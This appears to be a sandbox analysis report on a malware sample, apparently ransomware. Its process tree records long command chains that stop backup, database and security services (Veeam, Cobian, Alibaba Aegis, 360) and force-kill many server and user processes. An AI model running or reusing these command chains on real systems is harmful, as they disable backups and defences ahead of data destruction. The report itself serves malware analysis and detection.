C:\Windows\SysWOW64\net.exenet stop XenSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop XenSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop Apache2.25⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Apache2.26⤵
-
C:\Windows\SysWOW64\net.exenet stop "Synology Drive VSS Service x64"5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Synology Drive VSS Service x64"6⤵
-
C:\Windows\SysWOW64\net.exenet stop DellDRLogSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DellDRLogSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop FirebirdGuardianDeafaultInstance5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop FirebirdGuardianDeafaultInstance6⤵
-
C:\Windows\SysWOW64\net.exenet stop JWEM3DBAUTORun5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop JWEM3DBAUTORun6⤵
-
C:\Windows\SysWOW64\net.exenet stop JWRinfoClientService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop JWRinfoClientService6⤵
-
C:\Windows\SysWOW64\net.exenet stop JWService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop JWService6⤵
-
C:\Windows\SysWOW64\net.exenet stop Service25⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Service26⤵
-
C:\Windows\SysWOW64\net.exenet stop RapidRecoveryAgent5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RapidRecoveryAgent6⤵
-
C:\Windows\SysWOW64\net.exenet stop FirebirdServerDefaultInstance5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop FirebirdServerDefaultInstance6⤵
-
C:\Windows\SysWOW64\net.exenet stop AdobeARMservice5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AdobeARMservice6⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamCatalogSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamCatalogSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeanBackupSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeanBackupSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamTransportSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdAppService13005⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdAppService13006⤵
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdTaskService13005⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdTaskService13006⤵
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdUpgradeService13005⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdUpgradeService13006⤵
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdWebService13005⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdWebService13006⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamNFSSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamDeploySvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDeploySvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamCloudSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamCloudSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamMountSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamMountSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamBrokerSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamBrokerSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamDistributionSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDistributionSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop tmlisten5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop tmlisten6⤵
-
C:\Windows\SysWOW64\net.exenet stop ServiceMid5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ServiceMid6⤵
-
C:\Windows\SysWOW64\net.exenet stop 360EntPGSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop 360EntPGSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop ClickToRunSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ClickToRunSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop RavTask5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RavTask6⤵
-
C:\Windows\SysWOW64\net.exenet stop AngelOfDeath5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AngelOfDeath6⤵
-
C:\Windows\SysWOW64\net.exenet stop d_safe5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop d_safe6⤵
-
C:\Windows\SysWOW64\net.exenet stop NFLicenceServer5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop NFLicenceServer6⤵
-
C:\Windows\SysWOW64\net.exenet stop "NetVault Process Manager"5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "NetVault Process Manager"6⤵
-
C:\Windows\SysWOW64\net.exenet stop RavService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RavService6⤵
-
C:\Windows\SysWOW64\net.exenet stop DFServ5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DFServ6⤵
-
C:\Windows\SysWOW64\net.exenet stop IngressMgr5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop IngressMgr6⤵
-
C:\Windows\SysWOW64\net.exenet stop EvtSys5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EvtSys6⤵
-
C:\Windows\SysWOW64\net.exenet stop K3ClouManager5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop K3ClouManager6⤵
-
C:\Windows\SysWOW64\net.exenet stop NFVPrintServer5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop NFVPrintServer6⤵
-
C:\Windows\SysWOW64\net.exenet stop RTCAVMCU5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RTCAVMCU6⤵
-
C:\Windows\SysWOW64\net.exenet stop CobianBackup105⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CobianBackup106⤵
-
C:\Windows\SysWOW64\net.exenet stop GNWebService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop GNWebService6⤵
-
C:\Windows\SysWOW64\net.exenet stop Mysoft.SchedulingService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Mysoft.SchedulingService6⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color a & @net stop UIODetect & @net stop VMwareHostd & @net stop TeamViewer8 & @net stop VMUSBArbService & @net stop VMAuthdService & @net stop wanxiao-monitor & @net stop WebAttendServer & @net stop mysqltransport & @net stop VMnetDHCP & @net stop "VMware NAT Service" & @net stop Tomcat8 & @net stop TeamViewer & @net stop QPCore & @net stop CASLicenceServer & @net stop CASWebServer & @net stop AutoUpdateService & @net stop "Alibaba Security Aegis Detect Service" & @net stop "Alibaba Security Aegis Update Service" & @net stop "AliyunService" & @net stop CASXMLService & @net stop AGSService & @net stop RapService & @net stop DDNSService & @net stop iNethinkSQLBackupSvc & @net stop CASVirtualDiskService & @net stop CASMsgSrv & @net stop "OracleOraDb10g_homeliSQL*Plus" & @net stop OracleDBConsoleilas & @net stop MySQL & @net stop TPlusStdAppService1220 & @net stop TPlusStdTaskService1220 & @net stop TPlusStdUpgradeService1220 & @net stop K3MobileServiceManage & @net stop "FileZilla Server" & @net stop DDVRulesProcessor & @net stop ImtsEventSvr & @net stop AutoUpdatePatchService & @net stop OMAILREPORT & @net stop "Dell Hardware Support" & @net stop SupportAssistAgent & @net stop K3MMainSuspendService & @net stop KpService & @net stop ceng_web_svc_d & @net stop KugouService & @net stop pcas & @net stop U8SendMailAdmin & @net stop "Bonjour Service" & @net stop "Apple Mobile Device Service" & @net stop "ABBYY.Licensing.FineReader.Professional.12.0""4⤵
-
C:\Windows\SysWOW64\net.exenet stop UIODetect5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UIODetect6⤵
-
C:\Windows\SysWOW64\net.exenet stop VMwareHostd5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMwareHostd6⤵
-
C:\Windows\SysWOW64\net.exenet stop TeamViewer85⤵
- Discovers systems in the same network
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TeamViewer86⤵
-
C:\Windows\SysWOW64\net.exenet stop VMUSBArbService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMUSBArbService6⤵
-
C:\Windows\SysWOW64\net.exenet stop VMAuthdService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMAuthdService6⤵
-
C:\Windows\SysWOW64\net.exenet stop wanxiao-monitor5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wanxiao-monitor6⤵
-
C:\Windows\SysWOW64\net.exenet stop WebAttendServer5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WebAttendServer6⤵
-
C:\Windows\SysWOW64\net.exenet stop mysqltransport5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mysqltransport6⤵
-
C:\Windows\SysWOW64\net.exenet stop VMnetDHCP5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMnetDHCP6⤵
-
C:\Windows\SysWOW64\net.exenet stop "VMware NAT Service"5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VMware NAT Service"6⤵
-
C:\Windows\SysWOW64\net.exenet stop Tomcat85⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Tomcat86⤵
-
C:\Windows\SysWOW64\net.exenet stop TeamViewer5⤵
- Discovers systems in the same network
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TeamViewer6⤵
-
C:\Windows\SysWOW64\net.exenet stop QPCore5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QPCore6⤵
-
C:\Windows\SysWOW64\net.exenet stop CASLicenceServer5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASLicenceServer6⤵
-
C:\Windows\SysWOW64\net.exenet stop CASWebServer5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASWebServer6⤵
-
C:\Windows\SysWOW64\net.exenet stop AutoUpdateService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AutoUpdateService6⤵
-
C:\Windows\SysWOW64\net.exenet stop "Alibaba Security Aegis Detect Service"5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Alibaba Security Aegis Detect Service"6⤵
-
C:\Windows\SysWOW64\net.exenet stop "Alibaba Security Aegis Update Service"5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Alibaba Security Aegis Update Service"6⤵
-
C:\Windows\SysWOW64\net.exenet stop "AliyunService"5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "AliyunService"6⤵
-
C:\Windows\SysWOW64\net.exenet stop CASXMLService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASXMLService6⤵
-
C:\Windows\SysWOW64\net.exenet stop AGSService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AGSService6⤵
-
C:\Windows\SysWOW64\net.exenet stop RapService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RapService6⤵
-
C:\Windows\SysWOW64\net.exenet stop DDNSService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DDNSService6⤵
-
C:\Windows\SysWOW64\net.exenet stop iNethinkSQLBackupSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop iNethinkSQLBackupSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop CASVirtualDiskService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASVirtualDiskService6⤵
-
C:\Windows\SysWOW64\net.exenet stop CASMsgSrv5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASMsgSrv6⤵
-
C:\Windows\SysWOW64\net.exenet stop "OracleOraDb10g_homeliSQL*Plus"5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "OracleOraDb10g_homeliSQL*Plus"6⤵
-
C:\Windows\SysWOW64\net.exenet stop OracleDBConsoleilas5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop OracleDBConsoleilas6⤵
-
C:\Windows\SysWOW64\net.exenet stop MySQL5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MySQL6⤵
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdAppService12205⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdAppService12206⤵
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdTaskService12205⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdTaskService12206⤵
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdUpgradeService12205⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdUpgradeService12206⤵
-
C:\Windows\SysWOW64\net.exenet stop K3MobileServiceManage5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop K3MobileServiceManage6⤵
-
C:\Windows\SysWOW64\net.exenet stop "FileZilla Server"5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "FileZilla Server"6⤵
-
C:\Windows\SysWOW64\net.exenet stop DDVRulesProcessor5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DDVRulesProcessor6⤵
-
C:\Windows\SysWOW64\net.exenet stop ImtsEventSvr5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ImtsEventSvr6⤵
-
C:\Windows\SysWOW64\net.exenet stop AutoUpdatePatchService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AutoUpdatePatchService6⤵
-
C:\Windows\SysWOW64\net.exenet stop OMAILREPORT5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop OMAILREPORT6⤵
-
C:\Windows\SysWOW64\net.exenet stop "Dell Hardware Support"5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Dell Hardware Support"6⤵
-
C:\Windows\SysWOW64\net.exenet stop SupportAssistAgent5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SupportAssistAgent6⤵
-
C:\Windows\SysWOW64\net.exenet stop K3MMainSuspendService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop K3MMainSuspendService6⤵
-
C:\Windows\SysWOW64\net.exenet stop KpService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop KpService6⤵
-
C:\Windows\SysWOW64\net.exenet stop ceng_web_svc_d5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ceng_web_svc_d6⤵
-
C:\Windows\SysWOW64\net.exenet stop KugouService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop KugouService6⤵
-
C:\Windows\SysWOW64\net.exenet stop pcas5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop pcas6⤵
-
C:\Windows\SysWOW64\net.exenet stop U8SendMailAdmin5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8SendMailAdmin6⤵
-
C:\Windows\SysWOW64\net.exenet stop "Bonjour Service"5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Bonjour Service"6⤵
-
C:\Windows\SysWOW64\net.exenet stop "Apple Mobile Device Service"5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Apple Mobile Device Service"6⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM sqlservr.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM java.exe /F & @taskkill /IM fdhost.exe /F & @taskkill /IM fdlauncher.exe /F & @taskkill /IM reportingservicesservice.exe /F & @taskkill /IM softmgrlite.exe /F & @taskkill /IM sqlbrowser.exe /F & @taskkill /IM ssms.exe /F & @taskkill /IM vmtoolsd.exe /F & @taskkill /IM baidunetdisk.exe /F & @taskkill /IM yundetectservice.exe /F & @taskkill /IM ssclient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM RAVCp164.exe /F & @taskkill /IM igfxEM.exe /F & @taskkill /IM igfxHK.exe /F & @taskkill /IM igfxTray.exe /F & @taskkill /IM 360bdoctor.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM PrivacyIconClient.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM GoogleCrashHandler.exe /F & @taskkill /IM GoogleCrashHandler64.exe /F & @taskkill /IM GoogleUpdate.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM "FileZilla server.exe" /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM Admin.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM tomcat7.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM Kingdee.K3.CRM.MMC.MMCService.exe /F & @taskkill /IM Kingdee.k3.Weixin.ClientService.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM ImtsEventSvr.exe /F & @taskkill /IM mysqld-nt.exe /F & @taskkill /IM 360EnterpriseDiskUI.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM tomcat8.exe /F & @taskkill /IM QQprotect.exe /F & @taskkill /IM isqlplussvc.exe /F & @taskkill /IM nmesrvc.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM jusched.exe /F & @taskkill /IM MtxHotPlugService.exe /F & @taskkill /IM jucheck.exe /F & @taskkill /IM wordpad.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM chrome.exe /F & @taskkill /IM Thunder.exe /F"4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlservr.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM httpd.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM java.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM fdhost.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM fdlauncher.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM reportingservicesservice.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM softmgrlite.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlbrowser.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ssms.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vmtoolsd.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM baidunetdisk.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM yundetectservice.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ssclient.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GNAupdaemon.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RAVCp164.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM igfxEM.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM ThunderPlatform.exe /F & @taskkill /IM iexplore.exe /F & @taskkill /IM vm-agent.exe /F & @taskkill /IM vm-agent-daemon.exe /F & @taskkill /IM eSightService.exe /F & @taskkill /IM cygrunsrv.exe /F & @taskkill /IM wrapper.exe /F & @taskkill /IM nginx.exe /F & @taskkill /IM node.exe /F & @taskkill /IM sshd.exe /F & @taskkill /IM vm-tray.exe /F & @taskkill /IM iempwatchdog.exe /F & @taskkill /IM sqlwriter.exe /F & @taskkill /IM php.exe /F & @taskkill /IM "notepad++.exe" /F & @taskkill /IM "phpStudy.exe" /F & @taskkill /IM OPCClient.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM SupportAssistAgent.exe /F & @taskkill /IM SunloginClient.exe /F & @taskkill /IM SOUNDMAN.exe /F & @taskkill /IM WeChat.exe /F & @taskkill /IM TXPlatform.exe /F & @taskkill /IM Tencentdll.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM jenkins.exe /F & @taskkill /IM QQ.exe /F & @taskkill /IM HaoZip.exe /F & @taskkill /IM HaoZipScan.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM TSVNCache.exe /F & @taskkill /IM RAVCpl64.exe /F & @taskkill /IM secbizsrv.exe /F & @taskkill /IM aliwssv.exe /F & @taskkill /IM Helper_Haozip.exe /F & @taskkill /IM acrotray.exe /F & @taskkill /IM "FileZilla Server Interface.exe" /F & @taskkill /IM YoudaoNote.exe /F & @taskkill /IM YNoteCefRender.exe /F & @taskkill /IM idea.exe /F & @taskkill /IM fsnotifier.exe /F & @taskkill /IM picpick.exe /F & @taskkill /IM lantern.exe /F & @taskkill /IM sysproxy-cmd.exe /F & @taskkill /IM service.exe /F & @taskkill /IM pcas.exe /F & @taskkill /IM PresentationFontCache.exe /F & @taskkill /IM RtWlan.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM Correspond.exe /F & @taskkill /IM ChatServer.exe /F & @taskkill /IM InetMgr.exe /F & @taskkill /IM LogonServer.exe /F & @taskkill /IM GameServer.exe /F & @taskkill /IM ServUAdmin.exe /F & @taskkill /IM ServUDaemon.exe /F & @taskkill /IM update0.exe /F & @taskkill /IM server.exe /F & @taskkill /IM w3wp.exe /F & @taskkill /IM notepad.exe /F & @taskkill /IM PalmInputService.exe /F & @taskkill /IM PalmInputGuard.exe /F & @taskkill /IM UpdateServer.exe /F & @taskkill /IM UpdateGate.exe /F & @taskkill /IM DBServer.exe /F & @taskkill /IM LoginGate.exe /F & @taskkill /IM SelGate.exe /F & @taskkill /IM RunGate.exe /F & @taskkill /IM M2Server.exe /F & @taskkill /IM LogDataServer.exe /F & @taskkill /IM LoginSrv.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM ClamWin.exe /F & @taskkill /IM srvany.exe /F & @taskkill /IM JT_AG-8332.exe /F & @taskkill /IM XXTClient.exe /F & @taskkill /IM clean.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM "Net.Service.exe" /F & @taskkill /IM plsqldev.exe /F & @taskkill /IM splwow64.exe /F & @taskkill /IM Oobe.exe /F & @taskkill /IM QQYService.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM SGTool.exe /F & @taskkill /IM postgres.exe /F & @taskkill /IM AppVShNotify.exe /F & @taskkill /IM OfficeClickToRun.exe /F & @taskkill /IM EntDT.exe /F & @taskkill /IM EntPublish.exe /F"4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ThunderPlatform.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM iexplore.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vm-agent.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vm-agent-daemon.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM eSightService.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM cygrunsrv.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM wrapper.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM nginx.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM node.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sshd.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vm-tray.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM iempwatchdog.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlwriter.exe /F5⤵
